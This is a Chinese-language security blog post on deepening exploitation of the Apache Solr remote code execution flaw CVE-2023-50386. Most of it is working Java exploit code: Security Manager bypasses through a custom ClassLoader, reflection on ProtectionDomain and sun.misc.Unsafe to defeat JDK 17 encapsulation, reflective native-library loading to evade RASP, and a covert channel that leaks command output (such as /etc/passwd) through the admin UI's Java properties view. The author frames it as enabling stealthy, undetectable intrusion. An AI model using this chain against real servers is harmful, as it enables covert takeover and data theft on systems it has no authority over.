长亭百川云 - 文章详情

Apache Solr远程代码执行漏洞(CVE-2023-50386)深入利用与验证

银针安全

93

2024-07-13

https://xz.aliyun.com/t/13637中,漏洞作者已经详细介绍了漏洞的原理、分析及复现过程,这里就不再CV搬运。在漏洞作者的文章中,仅提供了简单的代码执行(创建文件),在本文中,我们实现了任意代码执行和回显,并且代码可以实现大多数RASP的绕过,也不会产生网络连接,某种意义上可以完成无感入侵。本文涉及代码均在vvmdx仓库。

目录:

Java Security Manager绕过

  • ProcessBuilder测试

  • 自定义ClassLoader绕过

  • 反射利用getProtectionDomain0绕过

  • Unsafe绕过JDK17的限制

  • 反射利用ProcessImpl绕过

JNI绕过RASP

  • 一次失败的尝试

  • 一次成功的尝试

命令执行回显

后记

Java Security Manager绕过

Solr使用了Java Security Manager,因此执行代码会受到沙箱限制

ProcessBuilder测试

我们写一个简单的命令执行



1.  `package zk_backup_0.configs.conf1;`
    

3.  `import java.io.*;`
    

5.  `public class Exp {`
    
6.      `static {`
    
7.          `try {`
    
8.              `String command = "head -n 5 /etc/passwd";`
    
9.              `ProcessBuilder builder = new ProcessBuilder(command.split("\\s+"));`
    
10.              `Process process = builder.start();`
    
11.              `BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));`
    
12.              `String line = reader.readLine();`
    
13.              `String res = "";`
    
14.              `while (line != null) {`
    
15.                  `res = res + line + "\n";`
    
16.                  `line = reader.readLine();`
    
17.              `}`
    
18.              `reader.close();`
    
19.              `System.out.println(res);`
    
20.              `new File("/tmp/success").createNewFile();`
    
21.              `FileOutputStream stream = new FileOutputStream("/tmp/success");`
    
22.              `stream.write(res.getBytes());`
    
23.          `}catch (Exception e) {`
    
24.              `e.printStackTrace();`
    
25.          `}`
    
26.      `}`
    
27.  `}`
    


编译后按照漏洞复现的步骤令其被加载,可以发现命令并没有被执行成功,我们查看控制台日志 /var/solr/logs/solr-8983-console.log

注意 /var/solr/logs/下面放的日志有solr的运行日志,请求日志,控制台日志等,我们这里编写的恶意类触发的是java沙箱的限制,不在solr运行日志中,因此需要查看控制台日志



1.  `java.security.AccessControlException: access denied ("java.io.FilePermission" "<<ALL FILES>>" "execute")`
    
2.      `at java.base/java.security.AccessControlContext.checkPermission(Unknown Source)`
    
3.      `at java.base/java.security.AccessController.checkPermission(Unknown Source)`
    
4.      `at java.base/java.lang.SecurityManager.checkPermission(Unknown Source)`
    
5.      `at java.base/java.lang.SecurityManager.checkExec(Unknown Source)`
    
6.      `at java.base/java.lang.ProcessBuilder.start(Unknown Source)`
    
7.      `at java.base/java.lang.ProcessBuilder.start(Unknown Source)`
    
8.      `at zk_backup_0.configs.conf1.Exp.<clinit>(Exp.java:10)`
    
9.      `...`
    


在控制台日志的异常信息中,可以看到缺少了 execute的权限,而在堆栈中可以看到正是 zk_backup_0.configs.conf1.Exp中的 ProcessBuilder.start()方法触发的,因此我们不可以直接使用其执行命令

我们进入容器看一下java启动参数



1.  `ps aux|grep java`
    
2.  `# solr         585  1.6 10.4 10480400 843664 pts/0 Sl   Feb21   5:15 /opt/java/openjdk/bin/java -server -Xms512m -Xmx512m -XX:+UseG1GC -XX:+PerfDisableSharedMem -XX:+ParallelRefProcEnabled -XX:MaxGCPauseMillis=250 -XX:+UseLargePages -XX:+AlwaysPreTouch -XX:+ExplicitGCInvokesConcurrent -Xlog:gc*:file=/var/solr/logs/solr_gc.log:time,uptime:filecount=9,filesize=20M -Dsolr.jetty.inetaccess.includes= -Dsolr.jetty.inetaccess.excludes= -DzkClientTimeout=30000 -DzkRun -Dsolr.log.dir=/var/solr/logs -Djetty.port=8983 -DSTOP.PORT=7983 -DSTOP.KEY=solrrocks -Duser.timezone=UTC -XX:-OmitStackTraceInFastThrow -XX:OnOutOfMemoryError=/opt/solr/bin/oom_solr.sh 8983 /var/solr/logs -Djetty.home=/opt/solr/server -Dsolr.solr.home=/var/solr/data -Dsolr.data.home= -Dsolr.install.dir=/opt/solr -Dsolr.default.confdir=/opt/solr/server/solr/configsets/_default/conf -Dlog4j.configurationFile=/var/solr/log4j2.xml -Dsolr.jetty.host=0.0.0.0 -Xss256k -Djava.security.manager -Djava.security.policy=/opt/solr/server/etc/security.policy -Djava.security.properties=/opt/solr/server/etc/security.properties -Dsolr.internal.network.permission=* -DdisableAdminUI=false -Dsolr.log.muteconsole -jar start.jar --module=http --module=requestlog --module=gzip`
    


可以看到用于设置Java Security Manager的参数 -Djava.security.manager-Djava.security.policy=/opt/solr/server/etc/security.policy-Djava.security.properties=/opt/solr/server/etc/security.properties

可知配置文件在 /opt/solr/server/etc/security.policy,我们可以分析下有什么绕过的方法

如果下载了源码的话,也可以直接在 solr-releases-solr-9.0.0\solr\server\etc中找到 security.policy,绕过java沙箱可以参考这篇文章:https://www.mi1k7ea.com/2020/05/03/浅析Java沙箱逃逸/

自定义ClassLoader绕过

一通研究后发现里面有这个权限: permission java.lang.RuntimePermission"createClassLoader";

也就是我们可以自定义一个ClassLoader来进行绕过

原理具体看上面提到的文章,这里直接给一个可以在solr下利用的demo

命令执行类



1.  `package zk_backup_0.configs.conf1;`
    

3.  `import java.io.BufferedReader;`
    
4.  `import java.io.File;`
    
5.  `import java.io.FileOutputStream;`
    
6.  `import java.io.InputStreamReader;`
    
7.  `import java.security.AccessController;`
    
8.  `import java.security.PrivilegedAction;`
    

10.  `public class ExpBypassExec {`
    

12.      `public ExpBypassExec() {}`
    

14.      `static {`
    
15.          `AccessController.doPrivileged(new PrivilegedAction() {`
    
16.              `public Object run() {`
    
17.                  `try {`
    
18.                      `String command = "head -n 5 /etc/passwd";`
    
19.                      `ProcessBuilder builder = new ProcessBuilder(command.split("\\s+"));`
    
20.                      `Process process = builder.start();`
    
21.                      `BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));`
    
22.                      `String line = reader.readLine();`
    
23.                      `String res = "";`
    
24.                      `while (line != null) {`
    
25.                          `res = res + line + "\n";`
    
26.                          `line = reader.readLine();`
    
27.                      `}`
    
28.                      `reader.close();`
    
29.                      `System.out.println(res);`
    
30.                      `new File("/tmp/success").createNewFile();`
    
31.                      `FileOutputStream stream = new FileOutputStream("/tmp/success");`
    
32.                      `stream.write(res.getBytes());`
    
33.                      `return null;`
    
34.                  `} catch (Exception e) {`
    
35.                      `e.printStackTrace();`
    
36.                      `return null;`
    
37.                  `}`
    
38.              `}`
    
39.          `});`
    
40.      `}`
    
41.  `}`
    


自定义ClassLoader



1.  `package zk_backup_0.configs.conf1;`
    

3.  `import java.io.ByteArrayOutputStream;`
    
4.  `import java.io.File;`
    
5.  `import java.io.FileInputStream;`
    
6.  `import java.net.URL;`
    
7.  `import java.nio.ByteBuffer;`
    
8.  `import java.nio.channels.Channels;`
    
9.  `import java.nio.channels.FileChannel;`
    
10.  `import java.nio.channels.WritableByteChannel;`
    
11.  `import java.security.*;`
    
12.  `import java.security.cert.Certificate;`
    
13.  `import java.util.Arrays;`
    

15.  `public class ExpBypassLoader extends ClassLoader {`
    
16.      `public ExpBypassLoader() {}`
    

18.      `public ExpBypassLoader(ClassLoader loader) {`
    
19.          `super(loader);`
    
20.      `}`
    

22.      `@Override`
    
23.      `public Class<?> loadClass(String name) throws ClassNotFoundException {`
    
24.          `if (name.contains("ExpBypassExec")) {`
    
25.              `return findClass(name);`
    
26.          `}`
    
27.          `return super.loadClass(name);`
    
28.      `}`
    

30.      `@Override`
    
31.      `protected Class<?> findClass(String name) throws ClassNotFoundException {`
    
32.          `File file = getClassFile(name);`
    
33.          `try {`
    
34.              `byte[] bytes = getClassBytes(file);`
    
35.              `Class<?> c = defineClazz(name, bytes, 0, bytes.length);`
    
36.              `return c;`
    
37.          `} catch (Exception e) {`
    
38.              `e.printStackTrace();`
    
39.          `}`
    

41.          `return super.findClass(name);`
    
42.      `}`
    

44.      `protected final Class<?> defineClazz(String name, byte[] b, int off, int len) throws ClassFormatError {`
    
45.          `try {`
    
46.              `PermissionCollection pc = new Permissions();`
    
47.              `pc.add(new AllPermission());`
    
48.  `   `
    
49.              `ProtectionDomain pd = new ProtectionDomain(new CodeSource((URL) null, (Certificate[]) null),`
    
50.                      `pc, this, null);`
    

52.              `return this.defineClass(name, b, off, len, pd);`
    
53.          `} catch (Exception e) {`
    
54.              `e.printStackTrace();`
    
55.              `return null;`
    
56.          `}`
    
57.      `}`
    

59.      `private File getClassFile(String name) {`
    
60.          `// 注意这里的classpath不是默认的,因此需要手动指定我们上传class的目录和文件`
    
61.          `String path = name.replace(".", "/");`
    
62.          `File file = new File("/var/solr/data/collection2_shard1_replica_n1/lib/collection1/" + path + ".class");`
    
63.          `return file;`
    
64.      `}`
    

66.      `private byte[] getClassBytes(File file) throws Exception {`
    
67.          `FileInputStream fis = new FileInputStream(file);`
    
68.          `FileChannel fc = fis.getChannel();`
    
69.          `ByteArrayOutputStream baos = new ByteArrayOutputStream();`
    
70.          `WritableByteChannel wbc = Channels.newChannel(baos);`
    
71.          `ByteBuffer by = ByteBuffer.allocate(1024);`
    

73.          `while (true) {`
    
74.              `int i = fc.read(by);`
    
75.              `if (i == 0 || i == -1) {`
    
76.                  `break;`
    
77.              `}`
    

79.              `by.flip();`
    
80.              `wbc.write(by);`
    
81.              `by.clear();`
    
82.          `}`
    
83.          `fis.close();`
    
84.          `return baos.toByteArray();`
    
85.      `}`
    
86.  `}`
    


入口函数



1.  `package zk_backup_0.configs.conf1;`
    

3.  `public class ExpBypassMain {`
    
4.      `static {`
    
5.          `ExpBypassLoader loader = new ExpBypassLoader();`
    

7.          `try {`
    
8.              `// 注意需要使用全限定类名,不然自定义的classloader是加载不到的`
    
9.              `Class<?> clz = Class.forName("zk_backup_0.configs.conf1.ExpBypassExec", true, loader);`
    
10.              `Object object = clz.newInstance();`
    
11.          `} catch (Exception e) {`
    
12.              `throw new RuntimeException(e);`
    
13.          `}`
    

15.      `}`
    
16.  `}`
    


将以上三个类编译后生成的类文件全部放入 conf1,注意有4个类文件

前面我们提到由于solr docker的jdk是17.10,为了防止版本差异导致运行出错,我们也使用jdk17编译,然而这个绕过姿势中的AccessController类在jdk17中废弃了,不过亲测jdk8编译也是可以的



1.  `conf1`
    
2.  `├── ExpBypassExec$1.class`
    
3.  `├── ExpBypassExec.class`
    
4.  `├── ExpBypassLoader.class`
    
5.  `├── ExpBypassMain.class`
    
6.  `├── lang`
    
7.  `├── managed-schema.xml`
    
8.  `├── protwords.txt`
    
9.  `├── solrconfig.xml`
    
10.  `├── stopwords.txt`
    
11.  `└── synonyms.txt`
    


接着将 conf2的 solrconfig.xml中加载的类修改为 zk_backup_0.configs.conf1.ExpBypassMain

最后的流程就和漏洞复现一样了,最终我们可以在 tmp/success下看到我们命令执行并写入的文件

在测试过程中(如果不调试的话),遇到的问题可以查看日志解决,主要是solr运行日志 /var/solr/logs/solr.log,在加载恶意类时可以在这个日志查看详细的异常堆栈;还有solr控制台日志 /var/solr/logs/solr-8983-console.log,可以自己在代码中抛一些异常或者打印一些变量

反射利用getProtectionDomain0绕过

这里还有另一个更简单的绕过方式,我们注意到这里有这样两个权限:



1.    `permission java.lang.reflect.ReflectPermission "suppressAccessChecks";`
    
2.    `permission java.lang.RuntimePermission "accessDeclaredMembers";`
    


即反射权限和访问私有成员的权限,也就是说可能有很多种反射的姿势可以利用

这里我们需要通过反射修改Java Security Manager检查的 ProtectionDomain,其权限原本写在 security.policy中,没有写代表没有权限,但是我们可以通过反射去修改其属性,让其拥有权限

具体原理参考博客,这里直接给实现

在 java.security.ProtectionDomain中,有这么一个变量: java.security.ProtectionDomain#hasAllPerm

其用于标记该类是否拥有所有权限,我们现在的任务就是通过反射将其修改为true,其实现方式若如下:



1.  `// 1. 获取类`
    
2.  `Class clz = Class.forname("xxx");`
    
3.  `// 2. 获取其ProtectionDomain`
    
4.  `// 3. 通过反射获取ProtectionDoamin的hasAllPerm字段`
    
5.  `Field field = clz.getProtectionDomain().getClass().getDeclaredField("hasAllPerm");`
    
6.  `// 4. 设置其可修改`
    
7.  `field.setAccessible(true);`
    
8.  `// 5. 将hasAllPerm设置为true`
    
9.  `field.set(clz.getProtectionDomain(), true);`
    


会发现提示没有 getProtectionDomain的权限,这是因为在 java.lang.Class#getProtectionDomain中,会调用SecurityManager对其进行权限检查

我们简单分析后可以发现,在权限检查后,还调用了 protectionDomain和 getProtectionDomain0,因此我们通过反射,在权限检查后调用这两个方法任意一个即可,作者博客的demo如下:



1.  `public static void main(String[] args) throws Exception {`
    
2.      `StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();`
    
3.      `// 遍历栈帧`
    
4.      `for (StackTraceElement stackTraceElement : stackTraceElements) {`
    
5.          `try {`
    
6.              `Class clz = Class.forName(stackTraceElement.getClassName());`
    
7.              `// 利用反射调用getProtectionDomain0方法`
    
8.              `Method getProtectionDomain = clz.getClass().getDeclaredMethod("getProtectionDomain0", null);`
    
9.              `getProtectionDomain.setAccessible(true);`
    
10.              `// 获取ProtectionDomain`
    
11.              `ProtectionDomain pd = (ProtectionDomain) getProtectionDomain.invoke(clz);`
    
12.              `// 反射设置hasAllPerm为true`
    
13.              `if (pd != null) {`
    
14.                  `Field field = pd.getClass().getDeclaredField("hasAllPerm");`
    
15.                  `field.setAccessible(true);`
    
16.                  `field.set(pd, true);`
    
17.              `}`
    
18.          `} catch (Exception e) {`
    
19.              `e.printStackTrace();`
    
20.          `}`
    
21.      `}`
    
22.      `Runtime.getRuntime().exec("calc");`
    
23.  `}`
    


作者这么运行,确实弹出了计算器,但是这就结束了吗?:)

Unsafe绕过JDK17的限制

还记得我们的运行环境吗:jdk17,在jdk17下,这么做会出现这个异常:



1.  `java.lang.reflect.InaccessibleObjectException: Unable to make private native java.security.ProtectionDomain java.lang.Class.getProtectionDomain0() accessible: module java.base does not "opens java.lang" to unnamed module @2957fcb0`
    


抛异常的位置在 xxx.setAccessible(true);处,这是因为从jdk17开始,不再允许通过反射访问 java.*中的非公开变量和方法了

具体的改动在jep 403:https://openjdk.org/jeps/403



1.  Summary
    -------
    
2.  Strongly encapsulate all internal elements of the JDK, except for critical
    
3.  internal APIs such as `sun.misc.Unsafe`. It will no longer be possible to
    
4.  relax the strong encapsulation of internal elements via a single command-
    
5.  line option, as was possible in JDK 9 through JDK 16.
    


在jdk9~16中会抛警告,从jdk17开始直接抛异常

第一点说的是对jdk代码的强封装,第二点说的是Unsafe还可以用

这要怎么绕过呢?

参考:https://pankas.top/2023/12/05/jdk17-反射限制绕过/

在这篇博客中,提到了通过Unsafe来实现,Unsafe的知识参考https://tech.meituan.com/2019/02/14/talk-about-java-magic-class-unsafe.html,其提供了直接操作java内存和类的方式,这里就是利用了Unsafe还可以用这一点来绕过

原文博客的分析讲的很详细了,这里直接给实现:



1.  `package zk_backup_0.configs.conf1;`
    

3.  `import sun.misc.Unsafe;`
    

5.  `import java.lang.reflect.Field;`
    
6.  `import java.lang.reflect.Method;`
    
7.  `import java.security.ProtectionDomain;`
    

9.  `public class ExpBypass4 {`
    

11.      `public static void main(String[] args) throws Exception {`
    
12.          `StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();`
    
13.          `//遍历栈帧`
    
14.          `for (StackTraceElement stackTraceElement : stackTraceElements) {`
    
15.              `try {`
    
16.                  `// 获取Unsafe`
    
17.                  `Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");`
    
18.                  `unsafeField.setAccessible(true);`
    
19.                  `Unsafe unsafe = (Unsafe) unsafeField.get(null);`
    
20.                  `// 获取Object的Module`
    
21.                  `Module module = Object.class.getModule();`
    
22.                  `Class<?> currentClass = ExpBypass4.class;`
    
23.                  `// 通过Unsafe设置类的module为Object类的module(绕过jdk限制的关键),使其能够被访问(并修改)`
    
24.                  `long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));`
    
25.                  `unsafe.getAndSetObject(currentClass, addr, module);`
    
26.                  `// 获取类`
    
27.                  `Class clz = Class.forName(stackTraceElement.getClassName());`
    
28.                  `// 利用反射调用getProtectionDomain0方法获取ProtectionDomain`
    
29.                  `Method getProtectionDomain = clz.getClass().getDeclaredMethod("getProtectionDomain0", null);`
    
30.                  `getProtectionDomain.setAccessible(true);`
    
31.                  `ProtectionDomain pd = (ProtectionDomain) getProtectionDomain.invoke(clz);`
    
32.                  `// 将ProtectionDomain的hasAllPerm修改为true,使其拥有所有权限`
    
33.                  `if (pd != null) {`
    
34.                      `Field field = pd.getClass().getDeclaredField("hasAllPerm");`
    
35.                      `field.setAccessible(true);`
    
36.                      `field.set(pd, true);`
    
37.                  `}`
    
38.              `} catch (Exception e) {`
    
39.                  `e.printStackTrace();`
    
40.              `}`
    
41.          `}`
    
42.          `Runtime.getRuntime().exec("calc");`
    
43.      `}`
    
44.  `}`
    


看看效果:

到此,我们就实现了单文件绕过JDK17、Java Security Manager的限制实现任意代码执行

既然我们已经可以反射访问 java.*了,这里也可以直接反射调用 java.lang.ProcessImpl#start来绕过Java Security Manager的检查,而不用去赋予栈帧权限,代码如下:



1.  `public class ExpTest {`
    

3.      `static {`
    
4.          `try {`
    

6.              `Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");`
    
7.              `unsafeField.setAccessible(true);`
    
8.              `Unsafe unsafe = (Unsafe) unsafeField.get(null);`
    

10.              `Module module = Object.class.getModule();`
    
11.              `Class<?> currentClass = ExpTest.class;`
    

13.              `long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));`
    
14.              `unsafe.getAndSetObject(currentClass, addr, module);`
    

16.              `String[] cmd = {"head", "-n", "5", "/etc/passwd"};`
    
17.              `Class clz = Class.forName("java.lang.ProcessImpl");`
    
18.              `Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);`
    
19.              `method.setAccessible(true);`
    
20.              `Process process = (Process) method.invoke(clz, cmd, null, null, null, false);`
    

22.          `} catch (Exception e) {`
    
23.              `e.printStackTrace();`
    
24.          `}`
    
25.      `}`
    
26.  `}`
    



JNI绕过RASP

对于这个漏洞,是非常典型的“无特征”型的通用漏洞(此处是我自己下的定义:)),这是什么意思呢,即这个漏洞所有请求都是正常的业务行为,在waf层是无法防御的;

在应用层上,就只能靠rasp去防御了,而对于此漏洞的调用链,也是没有明显通用特征的,由于漏洞利用的是 createbackupupload这些业务常用的接口,所以hook这些方法可能对性能影响很大,就只能依赖于捕获攻击者后利用的调用方法了,例如 Runtime.getRuntime().exec("calc");之类的

因此如果能实现命令执行绕过rasp,也就基本实现了无感入侵

前置知识:JNI实现RCE:https://javasec.org/javase/JNI/

一次失败的尝试

在上文的基础上,我们赋予了所有栈帧全部权限,所以其实直接使用 System.load()去加载动态链接库就可以了;不过一开始我想通过一个另外的方法来实现

直接执行 System.load()的话,会受到Java Security Manager的限制,我们首先查看 security.policy,可以看到关于 loadLibrary的权限有如下几个:



1.  `permission java.lang.RuntimePermission "loadLibrary.jaas";`
    
2.  `permission java.lang.RuntimePermission "loadLibrary.jaas_unix";`
    
3.  `permission java.lang.RuntimePermission "loadLibrary.jaas_nt";`
    


也就是我们能且只能执行以下代码:



1.  `System.loadLibrary("jaas");`
    
2.  `System.loadLibrary("jaas_unix");`
    
3.  `System.loadLibrary("jaas_nt");`
    


在我的知识范围内(超纲的知识请大佬们教我orz),思索了几种利用方式,若大佬们有更好的利用姿势求教!!大概有以下几个:

1. 写白名单的动态链接库(失败)

在一通查找后,发现只有 libjaas.so是默认存在的,所以我们可以在动态链接库目录下写入名为 libjaas_unix.so或 libjaas_nt.so的恶意动态链接库,然后在代码里面直接通过 System.loadLibrary("jaas_unix");加载并执行命令

个人测试未成功原因:

System.loadLibrary()会在 java.library.path和 sun.boot.library.path里查找动态链接库,而这两者分别为



1.  `# java.library.path`
    
2.  `/usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib`
    
3.  `# sun.boot.library.path`
    
4.  `/opt/java/openjdk/lib`
    


在分析 security.policy中所有具有写权限( permission java.io.FilePermission"${xxx}","write";)的目录后,发现是没有可以利用的,所以直接写入默认动态链接库目录的方式失败了

2. 手动设置动态链接库目录(失败)

java中可以通过 System.setProperty("java.library.path",path)的方式设置动态链接库目录,然而动态链接库只在jvm启动时会初始化,在jvm启动后就无法再动态改变

我们在setter后,再执行getter获取到的环境变量虽然是我们设置的path,但实际上在loadLibrary时是不会生效的

有什么方法可以动态修改呢?是有的

参考:https://fahdshariff.blogspot.com/2011/08/changing-java-library-path-at-runtime.html

具体分析看参考博客,简单说就是在 java.lang.ClassLoader#loadLibrary中,有这么一段代码:



1.     `if (sys_paths == null) {`
    
2.         `usr_paths = initializePath("java.library.path");`
    
3.         `sys_paths = initializePath("sun.boot.library.path");`
    
4.     `}`
    


initializePath("java.library.path");的作用就是初始化动态链接库目录

我们只需要通过反射将 sys_paths设置为空,就可以在执行 loadLibrary时触发其重新初始化,加载到我们设置的path

但这只是低版本jdk的实现方式:)

在高版本jdk的 java.lang.ClassLoader#loadLibrary(java.lang.Class<?>, java.lang.String)中修改了逻辑和实现,我还没找到可以触发其重新加载动态链接库的方法:),所以最终测试也失败了(这也是坑了我最久的地方,一直在思考怎么触发其重新加载)

一次成功的尝试

在受到反射调用 ProcessImpl思路的启发后,我看了下 System.loadLibrary()的调用关系,果不其然发现了一个类似的方式

我们看下这个调用堆栈:



1.  `# 自底而上`
    
2.  `System.loadLibrary("jaas");`
    
3.  `java.lang.System#loadLibrary`
    
4.  `java.lang.Runtime#loadLibrary0`
    
5.  `java.lang.ClassLoader#loadLibrary(java.lang.Class<?>, java.lang.String)`
    
6.  `jdk.internal.loader.NativeLibraries#loadLibrary(java.lang.Class<?>, java.lang.String)`
    


在其中发现,只有 java.lang.Runtime#loadLibrary0会进行 SecurityManager检查

这就好办了,直接反射调用后面的方法就行

最终实现代码:



1.  `package zk_backup_0.configs.conf1;`
    

3.  `import sun.misc.Unsafe;`
    

5.  `import java.io.File;`
    
6.  `import java.io.IOException;`
    
7.  `import java.lang.reflect.Field;`
    
8.  `import java.lang.reflect.Method;`
    

10.  `public class ExpBypass7 {`
    

12.      `public static void main(String[] args) throws IOException {`
    

14.          `try {`
    
15.              `Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");`
    
16.              `unsafeField.setAccessible(true);`
    
17.              `Unsafe unsafe = (Unsafe) unsafeField.get(null);`
    

19.              `Module module = Object.class.getModule();`
    
20.              `Class<?> currentClass = ExpBypass7.class;`
    

22.              `long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));`
    
23.              `unsafe.getAndSetObject(currentClass, addr, module);`
    

25.              `// 反射调用java.lang.ClassLoader#loadLibrary(java.lang.Class<?>, java.lang.String)加载恶意动态链接库`
    
26.              `Class<?> clz = ClassLoader.class;`
    
27.              `Method method = clz.getDeclaredMethod("loadLibrary", Class.class, File.class);`
    
28.              `method.setAccessible(true);`
    
29.              `File file = new File("D:\\xxx\\zk_backup_0\\configs\\conf1\\cmd.dll");`
    
30.              `method.invoke(null, currentClass, file);`
    

32.          `} catch (Exception e) {`
    
33.              `e.printStackTrace();`
    
34.          `}`
    

36.          `CommandExec commandExec = new CommandExec();`
    
37.          `String cmd = commandExec.exec("calc");`
    
38.      `}`
    
39.  `}`
    


具体漏洞利用时将 libxxx.so、类文件、Exp一起打包上传即可

命令执行回显

到上面为止,我们实现了远程任意代码执行,但是执行后并不会产生回显,所以我在寻找一种可以获得执行结果的方式:

  1. 比较通用的获得回显的方式无非就web/ftp/dns等带外到vps上,但我总觉得这种产生 “网络外连” 的方式很容易被抓到,所以不太想使用(我们连rasp都绕了,最后倒在网络外连上就太亏了)

  2. 寻找一个通过web直接访问的页面,或者api可以获取的文件,进行写操作

很快我就决定用第二种方式了,因为我们知道我们上传的 Exp.class在 http://192.168.232.128:8983/solr/#/~cloud?view=tree处,所以我就在思考:能不能将命令执行结果写到这些配置里面,然后直接访问去读

但是一通分析后我放弃了,因为他这些东西不是直接转储到本地目录的,而是通过zookeeper进行存储;zookeeper存储文件的方式不太寻常(没深入研究...他会把文件用几个十六进制存储于 /var/solr/data/zoo_data/version-2下),目录可写,但写完无法通过http请求直接读,因为他会通过zk的api解析后返回,意味着若不是通过zk的api存储的话,就无法解析并读出

这可怎么办呢,在漫无目的的乱点页面的时候,我突然发现了一个地方怪怪的:

还记得我在JNI绕RASP中提到的,我的一个失败的测试想法吗?

我这里通过setter操作设置了动态链接库目录,虽然无法生效,但getter确实是会获得我设置的目录的

所以我在发现 JavaProperties选项卡中这一信息后,立刻想到了:

  1. 我的setter操作成功设置了一个字符串作为目录

  2. 选项卡返回的信息等同于执行了一个getter操作

  3. 目录可控,返回信息可读,这不就达成了我们的回显的所有条件了吗?

废话不多说,直接上代码实现:



1.  `package zk_backup_0.configs.conf1;`
    

3.  `import sun.misc.Unsafe;`
    

5.  `import java.io.BufferedReader;`
    
6.  `import java.io.File;`
    
7.  `import java.io.FileOutputStream;`
    
8.  `import java.io.InputStreamReader;`
    
9.  `import java.lang.reflect.Field;`
    
10.  `import java.lang.reflect.Method;`
    
11.  `import java.util.Map;`
    

14.  `public class ExpTest {`
    

16.      `static {`
    
17.          `try {`
    

19.              `Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");`
    
20.              `unsafeField.setAccessible(true);`
    
21.              `Unsafe unsafe = (Unsafe) unsafeField.get(null);`
    

23.              `Module module = Object.class.getModule();`
    
24.              `Class<?> currentClass = ExpTest.class;`
    

26.              `long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));`
    
27.              `unsafe.getAndSetObject(currentClass, addr, module);`
    

29.  `//            String command = "head -n 5 /etc/passwd";`
    
30.              `String[] cmd = {"head", "-n", "5", "/etc/passwd"};`
    
31.              `Class clz = Class.forName("java.lang.ProcessImpl");`
    
32.              `Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);`
    
33.              `method.setAccessible(true);`
    
34.              `Process process = (Process) method.invoke(clz, cmd, null, null, null, false);`
    
35.              `BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));`
    
36.              `String line = reader.readLine();`
    

38.              `String res = "";`
    
39.              `while (line != null) {`
    
40.                  `res = res + line + "\n";`
    
41.                  `line = reader.readLine();`
    
42.              `}`
    
43.              `reader.close();`
    
44.              `System.setProperty("java.library.path", res);`
    

46.          `} catch (Exception e) {`
    
47.              `e.printStackTrace();`
    
48.          `}`
    
49.      `}`
    
50.  `}`
    


执行完了直接通过http访问:

可以看到 java.library.path已经被我们设置成了命令执行的结果,直接读就可以了

后记

到此,我们就绕过了Java Security Manager和JDK 17的限制,实现了任意代码执行及回显,其实还遗留了一些瑕疵没有解决,例如高版本jdk下如何使 System.setProperty()在运行时生效,这个后续有思路再研究了....或者dalao们求教!!orz

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2